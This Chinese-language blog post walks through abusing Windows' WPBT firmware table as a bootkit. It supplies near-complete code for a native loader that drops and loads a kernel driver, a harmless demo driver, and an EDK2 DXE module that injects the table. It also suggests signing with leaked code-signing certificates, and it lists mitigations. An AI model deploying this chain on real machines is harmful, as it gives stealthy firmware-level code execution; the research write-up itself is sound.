前言 Bootkit是一种在OS启动之前执行的代码,通过在尽可能早的阶段获取机器的控制权来达到攻击或隐藏自身等目的,由于执行先后次序的优势,bootkit的检测与防御对于反病毒软件甚至是操作系统本身是一个挑战。
在BIOS时代,bootkit通过感染启动磁盘的MBR或寄生于固件,通过挂钩BIOS interrupt call等手段完成入侵。随着UEFI的普及,也出现了针对UEFI环境的bootkit,如dreamboot、EfiGuard等。虽然代码的执行环境发生了较大的变化,但它们的思想都是类似的,即通过挂钩OS bootloader必然会使用到的服务,来对bootloader代码段进行修改,从而达到劫持操作系统的启动流程,并注入自定代码的目的。
微软在Windows 8以及之后的系统中添加了Windows Platform Binary Table(WPBT),为OEM厂商提供了一种非侵入式的平台机制。通过一个特殊的ACPI表,厂商可以在固件启动时指定一段内存区域,Windows系统会在内核启动完成后,将读取该区域的内存作为可执行程序解析并执行。
Windows Platform Binary Table (WPBT) is an ACPI table in your firmware allowing your computer vendor to run a program every time Windows (8 or later) boots. This is a convenient method for computer vendors to force the installation of a service program or an anti-theft software, but this also means your fresh installed Windows will have potentially unwanted 3rd party programs running straight on the first boot, and you, the end user, would have no control over it. Also, firmware is not updated as frequently as your OS or software, which means if there is a security vulnerability in the WPBT-loaded program, a fair number of users might never get the update.
按照原初的设想,WPBT设计目的是为OEM配置系统驱动程序、服务等功能提供便利,然而…这个特性不就是个OEM版bootkit吗?!不需要hook RuntimeService,不需要patch bootloader,不需要修改MBR,也不需要挂钩BIOS中断(对于CSM/BIOS),只要在系统启动之前能够操作ACPI表,就能达到在操作系统中运行自定义代码的目的,甚至它还是非侵入性的。
听起来很简单是不是?那就赶快试试吧。
组件 总的来说,利用WPBT需要两个模块:
在Windows环境下执行的可执行文件,即在操作系统中运行的自定义代码,但其运行环境与拥有Win32子系统的常规环境相比有较大差别;
在UEFI环境中运行的DXE Driver,负责注入ACPI表,同时申请并保留负载文件的内存空间。
之后,还需要将目标DXE模块注入固件。对于物理机器而言,该步骤需要写入主板SPI Flash;如果只是为了测试,可以选择在UEFI Shell中手动加载模块,或将模块连同OVMF一起编译,并在支持OVMF的虚拟机中进行测试。
Native Application 在(早期)Windows启动时,如果检测到存在dirty标记的NTFS分区,通常会出现一个检查磁盘错误的界面。实际上,该界面就是一个于系统System32目录下,名为autochk的“Native Application”。区别于在CLR中运行的托管代码(managed)相对的native,在此处,native意味着程序唯一可用的API集合只有Windows NT Native API,即内核提供的一系列syscall。查看autochk的PE头,可以发现其中Subsystem字段的值为1,即Native类型。
会话管理器(SMSS)作为Windows系统第一个启动的用户态进程,在运行时会查找注册表路径HKLM\SYSTEM\CurrentControlSet\Control\Session Manager下BootExecute项,读取其中的每一行并一一执行。在默认情况下,autochk是BootExecute中的唯一目标。有一些杀毒软件也会在此项中插入自己的native程序,以获得在系统启动早期执行代码的机会(不过现代杀毒软件通常使用ELAM机制)。
WPBT提供给系统的负载也是像autochk一样的native程序。类似于上文中的BootExecute机制,负载进程也由SMSS启动,此时Win32子系统、CSRSS以及Winlogon等组件尚未启动,因此Windows用户模式下xxx32 library中的API都无法使用。
在该环境下,追踪和调试都不像普通Win32程序一样,可以直接使用用户态的调试相关API,而只能配置用来调试Windows内核本身以及内核模式驱动所需的WinDbg双机调试环境,利用内核提供的调试子系统进行调试。不过如果代码比较简单,可以使用NtDisplayString函数直接向屏幕打印字符串日志来进行调试。
同时,程序编译时也不能链接依赖Win32环境的UCRT(C)、MSVCRT(C++)基础库。VS附带的MSVC没有生成此类程序的MSBuild模板,因此编译需要手动指定命令行参数:
/GS- # 编译器安全检查依赖CRT设施,因此需要禁用 /Zi # 启用调试符号生成(可选) /D_NO_CRT_STDIO_INLINE # 禁用头文件提供的CRT内联实现版本 /D_UNICODE /DUNICODE /D_AMD64_ /D_WIN32_WINNT=0x1000 /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.15063.0\km" # 使用WDK提供的syscall函数原型定义 /I"C:\Program Files (x86)\Windows Kits\10\Include\10.0.15063.0\shared" # 通用定义 "main.c" /link /SUBSYSTEM:NATIVE # 指定镜像的子系统类型 /INTEGRITYCHECK # 启用镜像完整性检查(同内核模式驱动) /ENTRY:NtProcessStartup # 指定入口点 /NODEFAULTLIB # 禁用默认链接库 ntdll.lib # 链接我们通过ntdll.dll生成的lib
Windows SDK中并没有提供ntdll.lib(事实上微软也不希望开发者使用这里面的API),不过当链接目标是动态库时,lib只是一个存放指向对应dll的桩,不包含任何代码实现。可以通过MinGW提供的pexports生成def文件,再使用MSVC Toolset中的lib工具从def生成lib文件。
pexports ntdll.dll > ntdll.def lib.exe /def:ntdll.def /out:ntdll.lib
WDK中也没有NtDisplayString、PEB等用户态API和未公开数据结构的定义,需要手动声明:
该部分从PHNT项目或相关的调试符号中提取,在不同系统之间或许存在差异
NTSTATUS NTAPI NtDisplayString ( PUNICODE_STRING String) ;NTSYSAPI NTSTATUS NTAPI RtlAcquirePrivilege ( _In_ PULONG Privilege, _In_ ULONG NumPriv, _In_ ULONG Flags, _Out_ PVOID *ReturnedState) ;typedef struct _CURDIR { UNICODE_STRING DosPath; HANDLE Handle; } CURDIR, *PCURDIR; typedef struct _RTL_DRIVE_LETTER_CURDIR { USHORT Flags; USHORT Length; ULONG TimeStamp; STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[32 ]; ULONG_PTR EnvironmentSize; ULONG_PTR EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId; ULONG LoaderThreads; UNICODE_STRING RedirectionDllName; UNICODE_STRING HeapPartitionName; ULONG_PTR DefaultThreadpoolCpuSetMasks; ULONG DefaultThreadpoolCpuSetMaskCount; } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; typedef unsigned char BYTE;typedef BYTE BOOLEAN;typedef struct _PEB { BOOLEAN InheritedAddressSpace; BOOLEAN ReadImageFileExecOptions; BOOLEAN BeingDebugged; union { BOOLEAN BitField; struct { BOOLEAN ImageUsesLargePages : 1 ; BOOLEAN IsProtectedProcess : 1 ; BOOLEAN IsImageDynamicallyRelocated : 1 ; BOOLEAN SkipPatchingUser32Forwarders : 1 ; BOOLEAN IsPackagedProcess : 1 ; BOOLEAN IsAppContainer : 1 ; BOOLEAN IsProtectedProcessLight : 1 ; BOOLEAN IsLongPathAwareProcess : 1 ; }; }; HANDLE Mutant; PVOID ImageBaseAddress; PVOID Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; } PEB, *PPEB;
有了这些准备之后,接下来就可以写payload的逻辑了。本部分将通过调用内核提供的syscall来设置注册表项和访问文件系统,最终实现系统启动时自动加载一个自定义内核模式驱动的功能。
首先,我们需要自定义程序的入口点。不同于链接了CRT的普通程序,native程序在被SMSS加载时仅被传入一个参数,并且该调用也没有返回值,入口点的签名为void NtProcessStartup(PPEB Argument),其中PPEB为指向进程环境块(PEB)的指针,如果需要获取系统版本、环境变量以及从加载器传入的参数等信息时需要使用它。native程序启动时,加载器也不会为进程创建堆,因此需要手动初始化堆:
PVOID heap; RTL_HEAP_PARAMETERS heapParams = {0 }; heapParams.Length = sizeof (RTL_HEAP_PARAMETERS); heap = RtlCreateHeap(HEAP_GROWABLE, NULL , 0x100000 , 0x1000 , NULL , &heapParams);
接下来使用NtCreateFile与NtWriteFile等函数将驱动sys文件(hexData)写入系统目录:
WCHAR testDrvPath[] = L"\\SystemRoot\\System32\\drivers\\testDrv.sys" ; NTSTATUS status; UNICODE_STRING unicodeString; OBJECT_ATTRIBUTES objAttr = {0 }; HANDLE fileHandle = NULL ; IO_STATUS_BLOCK ioStatusBlock = {0 }; RtlInitUnicodeString(&unicodeString, testDrvPath); InitializeObjectAttributes(&objAttr, &unicodeString, OBJ_CASE_INSENSITIVE, NULL , NULL ); status = NtCreateFile( &fileHandle, GENERIC_ALL | SYNCHRONIZE, &objAttr, &ioStatusBlock, NULL , FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_SUPERSEDE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL , 0 ); if (fileHandle != NULL ){ NtWriteFile(fileHandle, NULL , NULL , NULL , &ioStatusBlock, hexData, sizeof (hexData), NULL , NULL ); NtClose(fileHandle); } else { RtlInitUnicodeString(&unicodeString, L"NtCreateFile failed.\n" ); NtDisplayString(&unicodeString); }
由于服务子系统此时不可用,因此只能手动设定内核模式驱动服务相关的注册表项:
WCHAR testDrvReg[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\TestDrv" ; HANDLE regkeyHandle = NULL ; RtlInitUnicodeString(&unicodeString, testDrvReg); InitializeObjectAttributes(&objAttr, &unicodeString, OBJ_CASE_INSENSITIVE, NULL , NULL ); status = ZwCreateKey(®keyHandle, KEY_ALL_ACCESS | SYNCHRONIZE, &objAttr, 0 , NULL , REG_OPTION_VOLATILE, NULL ); if (!NT_SUCCESS(status)){ RtlInitUnicodeString(&unicodeString, L"ZwCreateKey failed.\n" ); NtDisplayString(&unicodeString); } DWORD32 type = SERVICE_KERNEL_DRIVER; RtlInitUnicodeString(&unicodeString, L"Type" ); status = ZwSetValueKey(regkeyHandle, &unicodeString, 0 , REG_DWORD, &type, sizeof (type)); DWORD32 errorControl = SERVICE_ERROR_IGNORE; RtlInitUnicodeString(&unicodeString, L"ErrorControl" ); status |= ZwSetValueKey(regkeyHandle, &unicodeString, 0 , REG_DWORD, &errorControl, sizeof (errorControl)); DWORD32 start = SERVICE_DEMAND_START; RtlInitUnicodeString(&unicodeString, L"Start" ); status |= ZwSetValueKey(regkeyHandle, &unicodeString, 0 , REG_DWORD, &start, sizeof (start)); PWCHAR imagePath = testDrvPath; RtlInitUnicodeString(&unicodeString, L"ImagePath" ); status |= ZwSetValueKey(regkeyHandle, &unicodeString, 0 , REG_EXPAND_SZ, imagePath, sizeof (testDrvPath)); if (!NT_SUCCESS(status)){ RtlInitUnicodeString(&unicodeString, L"ZwSetValueKey failed.\n" ); NtDisplayString(&unicodeString); }
当注册表项正确设置之后,调用ZwLoadDriver加载驱动,并在其后关闭相关句柄,最后调用ZwTerminateProcess结束本进程:
RtlInitUnicodeString(&unicodeString, testDrvReg); status = ZwLoadDriver(&unicodeString); if (!NT_SUCCESS(status)){ RtlInitUnicodeString(&unicodeString, L"ZwLoadDriver failed.\n" ); NtDisplayString(&unicodeString); } ZwDeleteKey(regkeyHandle); NtClose(regkeyHandle); ZwTerminateProcess(NtCurrentProcess(), 0 );
可以发现,在无法使用Win32子系统的前提下,native程序的编写体验更类似于在内核中运行的驱动程序。实际上,对于这些API与相关的结构体,可以直接使用WDK中的相关定义:
Payload Driver 对于被加载的驱动,本文将不实现任何恶意功能,仅会向系统注册一个设备并向系统盘根目录写入一个文件,以表明该内核模块被成功加载:
#include <ntifs.h> #define Log(format, ...) _my_LogInternal(format, __FUNCTION__, __VA_ARGS__) #define _my_LogInternal(format, func, ...) \ DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL, \ "[TestDrv]" \ " %s: " format "\n" , \ func, __VA_ARGS__) #define DEVICE_NAME L"\\Device\\TestDev" #define LINK_NAME L"\\DosDevices\\Global\\TestDev" VOID DriverUnload (PDRIVER_OBJECT driverObject) { UNICODE_STRING strLink; Log("Unload." ); RtlInitUnicodeString(&strLink, LINK_NAME); IoDeleteSymbolicLink(&strLink); IoDeleteDevice(driverObject->DeviceObject); } NTSTATUS DispatchCreate (PDEVICE_OBJECT deviceObject, PIRP irp) { Log("Create." ); irp->IoStatus.Status = STATUS_SUCCESS; irp->IoStatus.Information = 0 ; IoCompleteRequest(irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DispatchClose (PDEVICE_OBJECT deviceObject, PIRP irp) { Log("Close." ); irp->IoStatus.Status = STATUS_SUCCESS; irp->IoStatus.Information = 0 ; IoCompleteRequest(irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry (PDRIVER_OBJECT driverObject, PUNICODE_STRING registryString) { NTSTATUS status = STATUS_SUCCESS; UNICODE_STRING linkName; UNICODE_STRING deviceName; PDEVICE_OBJECT deviceObject; driverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreate; driverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchClose; driverObject->DriverUnload = DriverUnload; RtlInitUnicodeString(&deviceName, DEVICE_NAME); status = IoCreateDevice(driverObject, 0 , &deviceName, FILE_DEVICE_UNKNOWN, 0 , FALSE, &deviceObject); if (!NT_SUCCESS(status)) return status; RtlInitUnicodeString(&linkName, LINK_NAME); status = IoCreateSymbolicLink(&linkName, &deviceName); if (!NT_SUCCESS(status)) { IoDeleteDevice(deviceObject); return status; } WCHAR filePath[] = L"\\??\\C:\\abcd.txt" ; UNICODE_STRING filePathUnicoded; OBJECT_ATTRIBUTES objAttr = {0 }; HANDLE fileHandle = NULL ; RtlInitUnicodeString(&filePathUnicoded, filePath); InitializeObjectAttributes(&objAttr, &filePathUnicoded, OBJ_CASE_INSENSITIVE, NULL , NULL ); status = ZwCreateFile( &fileHandle, GENERIC_ALL | SYNCHRONIZE, &objAttr, &ioStatusBlock, NULL , FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_SUPERSEDE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL , 0 ); ZwClose(fileHandle); Log("Loaded." ); return STATUS_SUCCESS; }
注入ACPI Table 该阶段必须在操作系统进行bootstrap之前完成,比较合适的选择是在UEFI执行BDS之前,即DXE(Driver eXecution Environment)环境,此时所有Runtime Services已经就绪可供使用。
EDK2使用特殊的生成系统,编译UEFI模块需要提供inf声明文件(INFormation),同时一个模块需要在一个合法的包(Pkg)下。包是EDK2根目录下一系列以Pkg结尾的目录以及目录下的dsc、dec、fdf等文件,其作为一次编译命令的目标,用于组合一系列模块或库,并控制生成固件的layout(如果需要)。
对于本项目,我们既可以建立自己的包,也可以直接将模块定义在OvmfPkg下,如果选择后者,bootkit将被直接编译进OVMF固件,随着机器的启动而自动执行。在这种情况下,只需要手动编写INF文件即可。
[Defines] INF_VERSION = 0 x00010005 BASE_NAME = AcpiWpbtInjectorDxe FILE_GUID = B709BBEF-0862 -4170 -81 A5-D5B316AD88A3 MODULE_TYPE = DXE_RUNTIME_DRIVER VERSION_STRING = 0.1 ENTRY_POINT = DxeMain UNLOAD_IMAGE = DxeUnload [Sources] main.c [Packages] MdePkg/MdePkg.dec MdeModulePkg/MdeModulePkg.dec [LibraryClasses] UefiLib UefiDriverEntryPoint UefiBootServicesTableLib UefiRuntimeServicesTableLib DebugLib BaseLib [Depex] gEfiSimpleTextOutProtocolGuid AND gEfiLoadedImageProtocolGuid AND gEfiVariableArchProtocolGuid AND gEfiVariableWriteArchProtocolGuid AND gEfiResetArchProtocolGuid AND gEfiBdsArchProtocolGuid AND gEfiRuntimeArchProtocolGuid [Protocols] gEfiAcpiTableProtocolGuid
接下来根据网络上公开的资料,定义WPBT表的结构体:
#include <Include/IndustryStandard/Acpi.h> #pragma pack(push, 1) typedef struct { EFI_ACPI_DESCRIPTION_HEADER Header; unsigned long HandoffMemSize; EFI_PHYSICAL_ADDRESS HandoffMemLoc; unsigned char ContentLayout; unsigned char ContentType; unsigned short ArgLength; } WINDOWS_PLATFORM_BINARY_TABLE; #pragma pack(pop)
使用该结构体定义一个ACPI表实例:
WINDOWS_PLATFORM_BINARY_TABLE windowsPlatformBinaryTable = { { SIGNATURE_32('W' , 'P' , 'B' , 'T' ), sizeof (WINDOWS_PLATFORM_BINARY_TABLE), EFI_ACPI_5_0_FIRMWARE_PERFORMANCE_DATA_TABLE_REVISION, 0x00 , {'N' , 'A' , 'K' , 'I' , 'D' }, 0x01 , 0x01 , SIGNATURE_32('N' , 'A' , 'K' , 'I' ), 0x01 , }, sizeof (hexData), (EFI_PHYSICAL_ADDRESS)NULL , 1 , 1 , 0 };
该DXE模块在加载时,首先需要寻找UEFI系统提供的ACPI Table Protocol。系统中通常只会存在一个该Protocol的实例,对于这种情况,可以调用LocateProtocol直接对其进行查找:
EFI_ACPI_TABLE_PROTOCOL *EfiAcpiTableProtocolIf; EFI_STATUS status = gBS->LocateProtocol( &gEfiAcpiTableProtocolGuid, NULL , &EfiAcpiTableProtocolIf);
在这里,Protocol与Handle可以简单地看做一个类与它的实例(其实一个Handle也可以拥有多个Protocol)。由于C语言不支持对象,所以需要使用这种手段来达到类似面向对象的效果。也存在其他C语言项目使用了类似的手段模拟这种机制,其中也包括微软的COM技术。
接下来申请一段内存并拷贝payload(hexData),将地址与大小信息填充进WPBT结构中并计算校验值:
EFI_PHYSICAL_ADDRESS wpbtBinAddress; status = gBS->AllocatePages(AllocateAnyPages, EfiACPIReclaimMemory, sizeof (hexData) / 4096 + 1 , &wpbtBinAddress); if (EFI_ERROR(status)){ Print(L"AcpiWpbtInjectorDxe: Returned %d\r\n" , status); return status; } gBS->CopyMem((void *)wpbtBinAddress, hexData, sizeof (hexData)); windowsPlatformBinaryTable.HandoffMemLoc = wpbtBinAddress; windowsPlatformBinaryTable.Header.Checksum = CalculateCheckSum8( (UINT8 *)&windowsPlatformBinaryTable, windowsPlatformBinaryTable.Header.Length);
最终调用EfiAcpiTableProtocol,将该表安装进系统中:
EfiAcpiTableProtocolIf->InstallAcpiTable( EfiAcpiTableProtocolIf, (void *)&windowsPlatformBinaryTable, windowsPlatformBinaryTable.Header.Length, &wpbtKey);
编译与测试 需要注意的是,在64位系统上运行的驱动文件以及WPBT程序均需要包含合法的代码签名,否则操作系统的加载器将阻止运行。可以通过在启动时选择“禁用驱动程序强制签名模式”来绕过此限制。
也可以在网络上寻找已经泄漏的代码签名证书,并修改系统时间,强行对文件进行签名。但是从2022年起,微软开始在Windows更新中推送已被泄漏的代码签名以及容易被利用的驱动文件黑名单,大多数公开的泄漏证书均在此列。另外,在启用了SecureBoot的机器上,内核模式代码的签名策略会更加严格(需要WHQL证书)。
完整的编译步骤为:
将驱动代码编译并签名后,转制为char类型数组并存入payload的hexData中;
编译payload并签名,再用同样的方法嵌入AcpiWpbtInjectorDxe模块;
使用EDK2编译AcpiWpbtInjectorDxe,得到单独的EFI模块或OVMF镜像文件。
使用QEMU可以方便地运行测试自行编译的OVMF固件,只需在启动命令行中加入-pflash并指向OVMF的镜像即可。也可以使用VirtualBox等虚拟机软件来测试,但VirtualBox使用的是自行维护的EDK2仓库,无法与TianoCore官方的OVMF混用。
另外,native程序在运行时没有很好的感知手段,测试时可以通过无条件调用NtDisplayString来使得程序更加显眼。
结论 通过向固件ACPI表中注入WPBT,我们可以在Windows 8+的系统上实现任意代码执行。但是该方法的利用门槛较高,在不熟悉物理机器的前提下,几乎不可能实现通用的Flash刷写手段。
也有一些公开的方法阻止WPBT Binary的执行,如:
在OS Bootloader执行前清理ACPI表(dropWPBT )
添加注册表项,告知SMSS禁用WPBT执行功能:
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager] "DisableWpbtExecution"=dword:00000001
从厂商对该特性的滥用行为以及公开的相关漏洞上来看,WPBT已经远远偏离了设计之初的初衷。总的来说,我认为算得上是一个比较失败的特性。
参考
Microsoft. Windows Platform Binary Table (WPBT). https://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
Sysinternals. Inside Native Applications. https://learn.microsoft.com/en-us/sysinternals/resources/inside-native-applications
kobyk. Debugging user-mode BootExecute native applications with kd. https://kobyk.wordpress.com/2008/07/26/debugging-user-mode-bootexecute-native-applications-with-kd/